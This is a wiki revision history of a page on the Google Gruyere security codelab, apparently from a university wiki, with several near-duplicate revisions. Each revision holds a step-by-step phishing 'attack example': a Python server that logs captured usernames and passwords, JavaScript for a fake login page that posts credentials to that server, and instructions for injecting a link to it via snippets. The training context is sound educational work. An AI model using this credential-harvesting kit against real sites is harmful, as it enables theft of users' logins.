# Eingabedaten parsen
data = parse_qs(post_data)
username = data.get('username', [''])[0]
password = data.get('password', [''])[0]
# Aktuelles Datum und Uhrzeit
timestamp = datetime.now().strftime('%Y-%m-%d [%H:%M:%S]')
# Logeintrag erstellen
log_entry = f"{timestamp}: Username: {username} / Password: {password}\n"
# Daten in die Datei schreiben
with open(LOG_FILE, "a") as file:
file.write(log_entry)
# Erfolgsnachricht senden
self.wfile.write(b"Data saved successfully\n")
# HTTP-Server starten
def run_server():
server_address = ("0.0.0.0", 8080)
httpd = HTTPServer(server_address, RequestHandler)
print(f"Server running on http://0.0.0.0:8080, writing to {LOG_FILE}")
httpd.serve_forever()
if __name__ == "__main__":
# Sicherstellen, dass die Logdatei existiert
if not os.path.exists(LOG_FILE):
with open(LOG_FILE, "w") as file:
file.write("")
run_server()

If you are using an online instance of Google Gruyere webpage you might need to bypass HTTPS. You can use ngrok to do so (https://ngrok.com).
<h3>Step 2: Create a Login HTML</h3>
You can create any kind of login page but make sure to include an input for username and password. Your page should contain a script that executes a HTTP request to your local server. This is an example:
try {
const response = await fetch(
"https://<local-server-ip-address>",
{
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: `username=${encodeURIComponent(
username
)}&password=${encodeURIComponent(password)}`,
mode: "no-cors", // Keine CORS-Prüfung durchführen
}
);
if (response.ok) {
window.location.href =
"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
} else {
window.location.href =
"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
}
} catch (error) {
messageDiv.textContent =
"An error occurred. Please check your connection.";
}
form.reset();
});
In this example the user is redirected to the Google Gruyere homepage after entering his information.
<h3>Step 3: Upload file</h3>

1. Create an user account on Google Gruyere webpage<br>
2. Go to the "Upload" Tab and upload the code of your login page<br>
3. You will get a link to where your file is available. Copy that link and move on to Step 4.
<h3>Step 4: Inject link to your page</h3>
Here you can take it a step further and try to elevate your permissions in order to post this link for everybody on the homepage. But either way there is a Tab called "New Snippet" where you can inject html code to your malicious login page. This might look like this:
[[File:injection.png|thumb|none|400px|Injection]]
<h3>Step 5: Start attack</h3>
Your link will be available either on the homepage if you elevated your privileges, or on the "My Snippets" page.
Now start your server and wait for someone to fall into your trap.
[[File:MySnipptes.png|thumb|none|400px|MySnippets Page]]
[[File:LoginPage.png|thumb|none|400px|Malicious Login Page]]
[[File:PasswordLog.png|thumb|none|400px|Log File]]

== Similar Codelabs ==

* [https://owasp.org/www-project-webgoat/ OWASP Webgoat]
* [https://wiki.elvis.science/index.php?title=DVWA DVWA (Damn Vulnerable Web Application)]
* [https://wiki.elvis.science/index.php?title=BWAPP bWAPP (Buggy Web Application)]

== References ==

* https://google-gruyere.appspot.com/
* https://google-gruyere.appspot.com/part1
* https://google-gruyere.appspot.com/start
* https://owasp.org/www-project-top-ten/
* https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

[[Category:Documentation]]

File:PasswordLog.png

2024-12-18T20:07:32Z

BSener:

File:MySnippets.png

2024-12-18T20:07:14Z

BSener:

File:LoginPage.png

2024-12-18T20:06:52Z

BSener:

Google Gruyere

2024-12-18T19:51:26Z

BSener:

== Summary ==

Google Gruyere is an educational codelab developed by Bruce Leban, Mugdha Bendre, and Parisa Tabriz to demonstrate common security vulnerabilities in web applications and provide solutions to these problems. It serves as a practical platform for learning how to identify and avoid security risks.

<div><ul>
<li style="display: inline-block;"> [[File:Gruyere 1.png|thumb|none|400px|Google Gruyere; source: https://google-gruyere.appspot.com]] </li>
</ul></div>

== Requirements ==

* Operating system: Not specific, as it is web-based
* Additional software: An up-to-date web browser

== Description ==

The Codelab is organized by types of vulnerabilities. In each section you will find a short description of a vulnerability and a task to find an example of this vulnerability in Gruyere. Our task now is to slip into the role of a malicious hacker and find and exploit the vulnerabilities.

If needed, there are further hints. There are also solutions on how to eliminate these security gaps.

In the Codelab, we will use both black-box hacking and white-box hacking. Black-box hacking involves trying to find vulnerabilities by experimenting with the application and manipulating input fields and URL parameters, trying to cause application errors, and looking at the HTTP requests and responses to guess the server behavior. You do not have access to the source code.

With white-box hacking, you have access to the source code and can perform automated or manual analysis to find errors. You can therefore treat Gruyere as if it were open source: read through the source code and try to find errors. Gruyere is written in Python, so a certain familiarity with Python can be helpful. However, the vulnerabilities covered are not Python-specific, and you can do most of the exercise without having to look at the code.

== Access ==

To access Google Gruyere follow the following Steps:

=== Step 1 ===

Visit the [https://google-gruyere.appspot.com Google Gruyere website] and follow the instructions to start the exercises.

=== Step 2 ===

After that, click "Continue". This will lead you to [https://google-gruyere.appspot.com/part1 Part1] of the Website, where you lern how to access Gruyere, view the code and you will be given a few tasks to familiarize yourself with Gruyere. If you proceed to click "Continue" you will get to Part 2 - 5 of the Gruyere Website, where the challenges will be listed.

=== Step 3 ===

Now you can open the [https://google-gruyere.appspot.com/start Start link] to access the codelab.

== Concepts used ==

* <b>Cross-Site Scripting (XSS)</b>
➥ An attack in which malicious code is injected into a trusted website. The code is then executed by unsuspecting users, which can lead to data leaks or other security problems.

* <b>Client-State Manipulation</b>
➥ An attacker manipulates the state of the client application (such as a web browser), often to circumvent security mechanisms or to fake false information.

* <b>Cross-Site Request Forgery (XSRF)</b>
➥ An attack in which the attacker performs an action on behalf of an authenticated user, often without the user's knowledge or consent.

* <b>Cross Site Script Inclusion (XSSI)</b>
➥ A variant of XSS in which malicious scripts from an external source are integrated into a website.

* <b>Path Traversal</b>
➥ An attack that is exploited to access files and directories located outside the intended web directory, often to obtain or manipulate sensitive data.

* <b>Denial of Service (DoS)</b>
➥ Attacks aimed at making a service, such as a website, inaccessible, often by overloading the server.

* <b>Code Execution</b>
➥ A vulnerability that allows an attacker to execute arbitrary code on a target device or server, which can lead to a complete takeover.

* <b>Configuration Vulnerabilities</b>
➥ Security vulnerabilities that arise due to misconfigurations in software or systems.

* <b>AJAX Vulnerabilities</b>
➥ Vulnerabilities in Asynchronous JavaScript and XML (AJAX) applications that often lead to problems such as insufficient validation of input data or insecure API endpoints.

== Attack Example ==
<h3>Idea: </h3>Inject a simulated HTML login page that mimics a certified platform. This page incorporates a script to capture the users login data and transmit it to an external malicious server, that logs the information.
<h3>Step 1: Python Server</h3>
Create a local HTTP server with python using BaseHTTPRequestHandler and HTTPServer from http.server. The log file is named passwrd.log in this example:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os
from datetime import datetime
from urllib.parse import parse_qs
# Pfad zur Datei, in die geschrieben werden soll
LOG_FILE = "passwrd.log"
class RequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
# CORS-Header für Preflight-Anfragen setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
self.end_headers()
def do_POST(self):
# CORS-Header setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
# Content-Length auslesen, um die Größe der Daten zu kennen
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
# Eingabedaten parsen
data = parse_qs(post_data)
username = data.get('username', [''])[0]
password = data.get('password', [''])[0]
# Aktuelles Datum und Uhrzeit
timestamp = datetime.now().strftime('%Y-%m-%d [%H:%M:%S]')
# Logeintrag erstellen
log_entry = f"{timestamp}: Username: {username} / Password: {password}\n"
# Daten in die Datei schreiben
with open(LOG_FILE, "a") as file:
file.write(log_entry)
# Erfolgsnachricht senden
self.wfile.write(b"Data saved successfully\n")
# HTTP-Server starten
def run_server():
server_address = ("0.0.0.0", 8080)
httpd = HTTPServer(server_address, RequestHandler)
print(f"Server running on http://0.0.0.0:8080, writing to {LOG_FILE}")
httpd.serve_forever()
if __name__ == "__main__":
# Sicherstellen, dass die Logdatei existiert
if not os.path.exists(LOG_FILE):
with open(LOG_FILE, "w") as file:
file.write("")
run_server()

If you are using an online instance of Google Gruyere webpage you might need to bypass HTTPS. You can use ngrok to do so (https://ngrok.com).
<h3>Step 2: Create a Login HTML</h3>
You can create any kind of login page but make sure to include an input for username and password. Your page should contain a script that executes a HTTP request to your local server. This is an example:
try {
const response = await fetch(
"https://<local-server-ip-address>",
{
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: `username=${encodeURIComponent(
username
)}&password=${encodeURIComponent(password)}`,
mode: "no-cors", // Keine CORS-Prüfung durchführen
}
);
if (response.ok) {
window.location.href =
"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
} else {
window.location.href =
"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
}
} catch (error) {
messageDiv.textContent =
"An error occurred. Please check your connection.";
}
form.reset();
});
In this example the user is redirected to the Google Gruyere homepage after entering his information.
<h3>Step 3: Upload file</h3>

1. Create an user account on Google Gruyere webpage<br>
2. Go to the "Upload" Tab and upload the code of your login page<br>
3. You will get a link to where your file is available. Copy that link and move on to Step 4.
<h3>Step 4: Inject link to your page</h3>
Here you can take it a step further and try to elevate your permissions in order to post this link for everybody on the homepage. But either way there is a Tab called "New Snippet" where you can inject html code to your malicious login page. This might look like this:
[[File:injection.png|thumb|none|400px|Injection]]
<h3>Step 5: Start attack</h3>
Your link will be available either on the homepage if you elevated your privileges, or on the "My Snippets" page.
Now start your server and wait for someone to fall into your trap.

== Similar Codelabs ==

* [https://owasp.org/www-project-webgoat/ OWASP Webgoat]
* [https://wiki.elvis.science/index.php?title=DVWA DVWA (Damn Vulnerable Web Application)]
* [https://wiki.elvis.science/index.php?title=BWAPP bWAPP (Buggy Web Application)]

== References ==

* https://google-gruyere.appspot.com/
* https://google-gruyere.appspot.com/part1
* https://google-gruyere.appspot.com/start
* https://owasp.org/www-project-top-ten/
* https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

[[Category:Documentation]]

Google Gruyere

2024-12-18T19:48:07Z

BSener:

== Summary ==

Google Gruyere is an educational codelab developed by Bruce Leban, Mugdha Bendre, and Parisa Tabriz to demonstrate common security vulnerabilities in web applications and provide solutions to these problems. It serves as a practical platform for learning how to identify and avoid security risks.

<div><ul>
<li style="display: inline-block;"> [[File:Gruyere 1.png|thumb|none|400px|Google Gruyere; source: https://google-gruyere.appspot.com]] </li>
</ul></div>

== Requirements ==

* Operating system: Not specific, as it is web-based
* Additional software: An up-to-date web browser

== Description ==

The Codelab is organized by types of vulnerabilities. In each section you will find a short description of a vulnerability and a task to find an example of this vulnerability in Gruyere. Our task now is to slip into the role of a malicious hacker and find and exploit the vulnerabilities.

If needed, there are further hints. There are also solutions on how to eliminate these security gaps.

In the Codelab, we will use both black-box hacking and white-box hacking. Black-box hacking involves trying to find vulnerabilities by experimenting with the application and manipulating input fields and URL parameters, trying to cause application errors, and looking at the HTTP requests and responses to guess the server behavior. You do not have access to the source code.

With white-box hacking, you have access to the source code and can perform automated or manual analysis to find errors. You can therefore treat Gruyere as if it were open source: read through the source code and try to find errors. Gruyere is written in Python, so a certain familiarity with Python can be helpful. However, the vulnerabilities covered are not Python-specific, and you can do most of the exercise without having to look at the code.

== Access ==

To access Google Gruyere follow the following Steps:

=== Step 1 ===

Visit the [https://google-gruyere.appspot.com Google Gruyere website] and follow the instructions to start the exercises.

=== Step 2 ===

After that, click "Continue". This will lead you to [https://google-gruyere.appspot.com/part1 Part1] of the Website, where you lern how to access Gruyere, view the code and you will be given a few tasks to familiarize yourself with Gruyere. If you proceed to click "Continue" you will get to Part 2 - 5 of the Gruyere Website, where the challenges will be listed.

=== Step 3 ===

Now you can open the [https://google-gruyere.appspot.com/start Start link] to access the codelab.

== Concepts used ==

* <b>Cross-Site Scripting (XSS)</b>
➥ An attack in which malicious code is injected into a trusted website. The code is then executed by unsuspecting users, which can lead to data leaks or other security problems.

* <b>Client-State Manipulation</b>
➥ An attacker manipulates the state of the client application (such as a web browser), often to circumvent security mechanisms or to fake false information.

* <b>Cross-Site Request Forgery (XSRF)</b>
➥ An attack in which the attacker performs an action on behalf of an authenticated user, often without the user's knowledge or consent.

* <b>Cross Site Script Inclusion (XSSI)</b>
➥ A variant of XSS in which malicious scripts from an external source are integrated into a website.

* <b>Path Traversal</b>
➥ An attack that is exploited to access files and directories located outside the intended web directory, often to obtain or manipulate sensitive data.

* <b>Denial of Service (DoS)</b>
➥ Attacks aimed at making a service, such as a website, inaccessible, often by overloading the server.

* <b>Code Execution</b>
➥ A vulnerability that allows an attacker to execute arbitrary code on a target device or server, which can lead to a complete takeover.

* <b>Configuration Vulnerabilities</b>
➥ Security vulnerabilities that arise due to misconfigurations in software or systems.

* <b>AJAX Vulnerabilities</b>
➥ Vulnerabilities in Asynchronous JavaScript and XML (AJAX) applications that often lead to problems such as insufficient validation of input data or insecure API endpoints.

== Attack Example ==
<h3>Idea: </h3>Inject a simulated HTML login page that mimics a certified platform. This page incorporates a script to capture the users login data and transmit it to an external malicious server, that logs the information.
<h3>Step 1: Python Server</h3>
Create a local HTTP server with python using BaseHTTPRequestHandler and HTTPServer from http.server. The log file is named passwrd.log in this example:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os
from datetime import datetime
from urllib.parse import parse_qs
# Pfad zur Datei, in die geschrieben werden soll
LOG_FILE = "passwrd.log"
class RequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
# CORS-Header für Preflight-Anfragen setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
self.end_headers()
def do_POST(self):
# CORS-Header setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
# Content-Length auslesen, um die Größe der Daten zu kennen
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
# Eingabedaten parsen
data = parse_qs(post_data)
username = data.get('username', [''])[0]
password = data.get('password', [''])[0]
# Aktuelles Datum und Uhrzeit
timestamp = datetime.now().strftime('%Y-%m-%d [%H:%M:%S]')
# Logeintrag erstellen
log_entry = f"{timestamp}: Username: {username} / Password: {password}\n"
# Daten in die Datei schreiben
with open(LOG_FILE, "a") as file:
file.write(log_entry)
# Erfolgsnachricht senden
self.wfile.write(b"Data saved successfully\n")
# HTTP-Server starten
def run_server():
server_address = ("0.0.0.0", 8080)
httpd = HTTPServer(server_address, RequestHandler)
print(f"Server running on http://0.0.0.0:8080, writing to {LOG_FILE}")
httpd.serve_forever()
if __name__ == "__main__":
# Sicherstellen, dass die Logdatei existiert
if not os.path.exists(LOG_FILE):
with open(LOG_FILE, "w") as file:
file.write("")
run_server()

If you are using an online instance of Google Gruyere webpage you might need to bypass HTTPS. You can use ngrok to do so (https://ngrok.com).
<h3>Step 2: Create a Login HTML</h3>
You can create any kind of login page but make sure to include an input for username and password. Your page should contain a script that executes a HTTP request to your local server. This is an example:
try {
const response = await fetch(
"https://<local-server-ip-address>",
{
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: `username=${encodeURIComponent(
username
)}&password=${encodeURIComponent(password)}`,
mode: "no-cors", // Keine CORS-Prüfung durchführen
}
);
if (response.ok) {
window.location.href =
"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
} else {
window.location.href =
"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
}
} catch (error) {
messageDiv.textContent =
"An error occurred. Please check your connection.";
}
form.reset();
});
In this example the user is redirected to the Google Gruyere homepage after entering his information.
<h3>Step 3: Upload file</h3>

1. Create an user account on Google Gruyere webpage
2. Go to the "Upload" Tab and upload the code of your login page
3. You will get a link to where your file is available. Copy that link and move on to Step 4.
<h3>Step 4: Inject link to your page</h3>
Here you can take it a step further and try to elevate your permissions in order to post this link for everybody on the homepage. But either way there is a Tab called "New Snippet" where you can inject html code to your malicious login page. This might look like this:
[[File:injection.png|thumb|none|400px|Google Gruyere; source: https://google-gruyere.appspot.com]]

== Similar Codelabs ==

* [https://owasp.org/www-project-webgoat/ OWASP Webgoat]
* [https://wiki.elvis.science/index.php?title=DVWA DVWA (Damn Vulnerable Web Application)]
* [https://wiki.elvis.science/index.php?title=BWAPP bWAPP (Buggy Web Application)]

== References ==

* https://google-gruyere.appspot.com/
* https://google-gruyere.appspot.com/part1
* https://google-gruyere.appspot.com/start
* https://owasp.org/www-project-top-ten/
* https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

[[Category:Documentation]]

File:Injection.png

2024-12-18T19:46:31Z

BSener:

Google Gruyere

2024-12-18T19:45:28Z

BSener:

== Summary ==

Google Gruyere is an educational codelab developed by Bruce Leban, Mugdha Bendre, and Parisa Tabriz to demonstrate common security vulnerabilities in web applications and provide solutions to these problems. It serves as a practical platform for learning how to identify and avoid security risks.

<div><ul>
<li style="display: inline-block;"> [[File:Gruyere 1.png|thumb|none|400px|Google Gruyere; source: https://google-gruyere.appspot.com]] </li>
</ul></div>

== Requirements ==

* Operating system: Not specific, as it is web-based
* Additional software: An up-to-date web browser

== Description ==

The Codelab is organized by types of vulnerabilities. In each section you will find a short description of a vulnerability and a task to find an example of this vulnerability in Gruyere. Our task now is to slip into the role of a malicious hacker and find and exploit the vulnerabilities.

If needed, there are further hints. There are also solutions on how to eliminate these security gaps.

In the Codelab, we will use both black-box hacking and white-box hacking. Black-box hacking involves trying to find vulnerabilities by experimenting with the application and manipulating input fields and URL parameters, trying to cause application errors, and looking at the HTTP requests and responses to guess the server behavior. You do not have access to the source code.

With white-box hacking, you have access to the source code and can perform automated or manual analysis to find errors. You can therefore treat Gruyere as if it were open source: read through the source code and try to find errors. Gruyere is written in Python, so a certain familiarity with Python can be helpful. However, the vulnerabilities covered are not Python-specific, and you can do most of the exercise without having to look at the code.

== Access ==

To access Google Gruyere follow the following Steps:

=== Step 1 ===

Visit the [https://google-gruyere.appspot.com Google Gruyere website] and follow the instructions to start the exercises.

=== Step 2 ===

After that, click "Continue". This will lead you to [https://google-gruyere.appspot.com/part1 Part1] of the Website, where you lern how to access Gruyere, view the code and you will be given a few tasks to familiarize yourself with Gruyere. If you proceed to click "Continue" you will get to Part 2 - 5 of the Gruyere Website, where the challenges will be listed.

=== Step 3 ===

Now you can open the [https://google-gruyere.appspot.com/start Start link] to access the codelab.

== Concepts used ==

* <b>Cross-Site Scripting (XSS)</b>
➥ An attack in which malicious code is injected into a trusted website. The code is then executed by unsuspecting users, which can lead to data leaks or other security problems.

* <b>Client-State Manipulation</b>
➥ An attacker manipulates the state of the client application (such as a web browser), often to circumvent security mechanisms or to fake false information.

* <b>Cross-Site Request Forgery (XSRF)</b>
➥ An attack in which the attacker performs an action on behalf of an authenticated user, often without the user's knowledge or consent.

* <b>Cross Site Script Inclusion (XSSI)</b>
➥ A variant of XSS in which malicious scripts from an external source are integrated into a website.

* <b>Path Traversal</b>
➥ An attack that is exploited to access files and directories located outside the intended web directory, often to obtain or manipulate sensitive data.

* <b>Denial of Service (DoS)</b>
➥ Attacks aimed at making a service, such as a website, inaccessible, often by overloading the server.

* <b>Code Execution</b>
➥ A vulnerability that allows an attacker to execute arbitrary code on a target device or server, which can lead to a complete takeover.

* <b>Configuration Vulnerabilities</b>
➥ Security vulnerabilities that arise due to misconfigurations in software or systems.

* <b>AJAX Vulnerabilities</b>
➥ Vulnerabilities in Asynchronous JavaScript and XML (AJAX) applications that often lead to problems such as insufficient validation of input data or insecure API endpoints.

== Attack Example ==
<h3>Idea: </h3>Inject a simulated HTML login page that mimics a certified platform. This page incorporates a script to capture the users login data and transmit it to an external malicious server, that logs the information.
<h3>Step 1: Python Server</h3>
Create a local HTTP server with python using BaseHTTPRequestHandler and HTTPServer from http.server. The log file is named passwrd.log in this example:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os
from datetime import datetime
from urllib.parse import parse_qs
# Pfad zur Datei, in die geschrieben werden soll
LOG_FILE = "passwrd.log"
class RequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
# CORS-Header für Preflight-Anfragen setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
self.end_headers()
def do_POST(self):
# CORS-Header setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
# Content-Length auslesen, um die Größe der Daten zu kennen
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
# Eingabedaten parsen
data = parse_qs(post_data)
username = data.get('username', [''])[0]
password = data.get('password', [''])[0]
# Aktuelles Datum und Uhrzeit
timestamp = datetime.now().strftime('%Y-%m-%d [%H:%M:%S]')
# Logeintrag erstellen
log_entry = f"{timestamp}: Username: {username} / Password: {password}\n"
# Daten in die Datei schreiben
with open(LOG_FILE, "a") as file:
file.write(log_entry)
# Erfolgsnachricht senden
self.wfile.write(b"Data saved successfully\n")
# HTTP-Server starten
def run_server():
server_address = ("0.0.0.0", 8080)
httpd = HTTPServer(server_address, RequestHandler)
print(f"Server running on http://0.0.0.0:8080, writing to {LOG_FILE}")
httpd.serve_forever()
if __name__ == "__main__":
# Sicherstellen, dass die Logdatei existiert
if not os.path.exists(LOG_FILE):
with open(LOG_FILE, "w") as file:
file.write("")
run_server()

If you are using an online instance of Google Gruyere webpage you might need to bypass HTTPS. You can use ngrok to do so (https://ngrok.com).
<h3>Step 2: Create a Login HTML</h3>
You can create any kind of login page but make sure to include an input for username and password. Your page should contain a script that executes a HTTP request to your local server. This is an example:
try {
const response = await fetch(
"https://<local-server-ip-address>",
{
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: `username=${encodeURIComponent(
username
)}&password=${encodeURIComponent(password)}`,
mode: "no-cors", // Keine CORS-Prüfung durchführen
}
);
if (response.ok) {
window.location.href =
"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
} else {
window.location.href =
"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
}
} catch (error) {
messageDiv.textContent =
"An error occurred. Please check your connection.";
}
form.reset();
});
In this example the user is redirected to the Google Gruyere homepage after entering his information.
<h3>Step 3: Upload file</h3>

1. Create an user account on Google Gruyere webpage
2. Go to the "Upload" Tab and upload the code of your login page
3. You will get a link to where your file is available. Copy that link and move on to Step 4.
<h3>Step 4: Inject link to your page</h3>
Here you can take it a step further and try to elevate your permissions in order to post this link for everybody on the homepage. But either way there is a Tab called "New Snippet" where you can inject html code to your malicious login page. This might look like this:

== Similar Codelabs ==

* [https://owasp.org/www-project-webgoat/ OWASP Webgoat]
* [https://wiki.elvis.science/index.php?title=DVWA DVWA (Damn Vulnerable Web Application)]
* [https://wiki.elvis.science/index.php?title=BWAPP bWAPP (Buggy Web Application)]

== References ==

* https://google-gruyere.appspot.com/
* https://google-gruyere.appspot.com/part1
* https://google-gruyere.appspot.com/start
* https://owasp.org/www-project-top-ten/
* https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

[[Category:Documentation]]

Google Gruyere

2024-12-18T19:37:54Z

BSener:

== Summary ==

Google Gruyere is an educational codelab developed by Bruce Leban, Mugdha Bendre, and Parisa Tabriz to demonstrate common security vulnerabilities in web applications and provide solutions to these problems. It serves as a practical platform for learning how to identify and avoid security risks.

<div><ul>
<li style="display: inline-block;"> [[File:Gruyere 1.png|thumb|none|400px|Google Gruyere; source: https://google-gruyere.appspot.com]] </li>
</ul></div>

== Requirements ==

* Operating system: Not specific, as it is web-based
* Additional software: An up-to-date web browser

== Description ==

The Codelab is organized by types of vulnerabilities. In each section you will find a short description of a vulnerability and a task to find an example of this vulnerability in Gruyere. Our task now is to slip into the role of a malicious hacker and find and exploit the vulnerabilities.

If needed, there are further hints. There are also solutions on how to eliminate these security gaps.

In the Codelab, we will use both black-box hacking and white-box hacking. Black-box hacking involves trying to find vulnerabilities by experimenting with the application and manipulating input fields and URL parameters, trying to cause application errors, and looking at the HTTP requests and responses to guess the server behavior. You do not have access to the source code.

With white-box hacking, you have access to the source code and can perform automated or manual analysis to find errors. You can therefore treat Gruyere as if it were open source: read through the source code and try to find errors. Gruyere is written in Python, so a certain familiarity with Python can be helpful. However, the vulnerabilities covered are not Python-specific, and you can do most of the exercise without having to look at the code.

== Access ==

To access Google Gruyere follow the following Steps:

=== Step 1 ===

Visit the [https://google-gruyere.appspot.com Google Gruyere website] and follow the instructions to start the exercises.

=== Step 2 ===

After that, click "Continue". This will lead you to [https://google-gruyere.appspot.com/part1 Part1] of the Website, where you lern how to access Gruyere, view the code and you will be given a few tasks to familiarize yourself with Gruyere. If you proceed to click "Continue" you will get to Part 2 - 5 of the Gruyere Website, where the challenges will be listed.

=== Step 3 ===

Now you can open the [https://google-gruyere.appspot.com/start Start link] to access the codelab.

== Concepts used ==

* <b>Cross-Site Scripting (XSS)</b>
➥ An attack in which malicious code is injected into a trusted website. The code is then executed by unsuspecting users, which can lead to data leaks or other security problems.

* <b>Client-State Manipulation</b>
➥ An attacker manipulates the state of the client application (such as a web browser), often to circumvent security mechanisms or to fake false information.

* <b>Cross-Site Request Forgery (XSRF)</b>
➥ An attack in which the attacker performs an action on behalf of an authenticated user, often without the user's knowledge or consent.

* <b>Cross Site Script Inclusion (XSSI)</b>
➥ A variant of XSS in which malicious scripts from an external source are integrated into a website.

* <b>Path Traversal</b>
➥ An attack that is exploited to access files and directories located outside the intended web directory, often to obtain or manipulate sensitive data.

* <b>Denial of Service (DoS)</b>
➥ Attacks aimed at making a service, such as a website, inaccessible, often by overloading the server.

* <b>Code Execution</b>
➥ A vulnerability that allows an attacker to execute arbitrary code on a target device or server, which can lead to a complete takeover.

* <b>Configuration Vulnerabilities</b>
➥ Security vulnerabilities that arise due to misconfigurations in software or systems.

* <b>AJAX Vulnerabilities</b>
➥ Vulnerabilities in Asynchronous JavaScript and XML (AJAX) applications that often lead to problems such as insufficient validation of input data or insecure API endpoints.

== Attack Example ==
<h3>Idea: </h3>Inject a simulated HTML login page that mimics a certified platform. This page incorporates a script to capture the users login data and transmit it to an external malicious server, that logs the information.
<h3>Step 1: Python Server</h3>
Create a local HTTP server with python using BaseHTTPRequestHandler and HTTPServer from http.server. The log file is named passwrd.log in this example:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os
from datetime import datetime
from urllib.parse import parse_qs
# Pfad zur Datei, in die geschrieben werden soll
LOG_FILE = "passwrd.log"
class RequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
# CORS-Header für Preflight-Anfragen setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
self.end_headers()
def do_POST(self):
# CORS-Header setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
# Content-Length auslesen, um die Größe der Daten zu kennen
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
# Eingabedaten parsen
data = parse_qs(post_data)
username = data.get('username', [''])[0]
password = data.get('password', [''])[0]
# Aktuelles Datum und Uhrzeit
timestamp = datetime.now().strftime('%Y-%m-%d [%H:%M:%S]')
# Logeintrag erstellen
log_entry = f"{timestamp}: Username: {username} / Password: {password}\n"
# Daten in die Datei schreiben
with open(LOG_FILE, "a") as file:
file.write(log_entry)
# Erfolgsnachricht senden
self.wfile.write(b"Data saved successfully\n")
# HTTP-Server starten
def run_server():
server_address = ("0.0.0.0", 8080)
httpd = HTTPServer(server_address, RequestHandler)
print(f"Server running on http://0.0.0.0:8080, writing to {LOG_FILE}")
httpd.serve_forever()
if __name__ == "__main__":
# Sicherstellen, dass die Logdatei existiert
if not os.path.exists(LOG_FILE):
with open(LOG_FILE, "w") as file:
file.write("")
run_server()

If you are using an online instance of Google Gruyere webpage you might need to bypass HTTPS. You can use ngrok to do so (https://ngrok.com).
<h3>Step 2: Create a Login HTML</h3>
You can create any kind of login page but make sure to include an input for username and password. Your page should contain a script that executes a HTTP request to your local server. This is an example:
try {
const response = await fetch(
"https://<local-server-ip-address>",
{
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: `username=${encodeURIComponent(
username
)}&password=${encodeURIComponent(password)}`,
mode: "no-cors", // Keine CORS-Prüfung durchführen
}
);

if (response.ok) {
window.location.href =
"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
} else {
window.location.href =
"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
}
} catch (error) {
messageDiv.textContent =
"An error occurred. Please check your connection.";
}

form.reset();
});
In this example the user is redirected to the Google Gruyere homepage after entering his information.

1. Create an user account on Google Gruyere webpage
2. Go to the "Upload" Tab and upload the code of your login page

== Similar Codelabs ==

* [https://owasp.org/www-project-webgoat/ OWASP Webgoat]
* [https://wiki.elvis.science/index.php?title=DVWA DVWA (Damn Vulnerable Web Application)]
* [https://wiki.elvis.science/index.php?title=BWAPP bWAPP (Buggy Web Application)]

== References ==

* https://google-gruyere.appspot.com/
* https://google-gruyere.appspot.com/part1
* https://google-gruyere.appspot.com/start
* https://owasp.org/www-project-top-ten/
* https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

[[Category:Documentation]]

Google Gruyere

2024-12-18T19:29:12Z

BSener:

== Summary ==

Google Gruyere is an educational codelab developed by Bruce Leban, Mugdha Bendre, and Parisa Tabriz to demonstrate common security vulnerabilities in web applications and provide solutions to these problems. It serves as a practical platform for learning how to identify and avoid security risks.

<div><ul>
<li style="display: inline-block;"> [[File:Gruyere 1.png|thumb|none|400px|Google Gruyere; source: https://google-gruyere.appspot.com]] </li>
</ul></div>

== Requirements ==

* Operating system: Not specific, as it is web-based
* Additional software: An up-to-date web browser

== Description ==

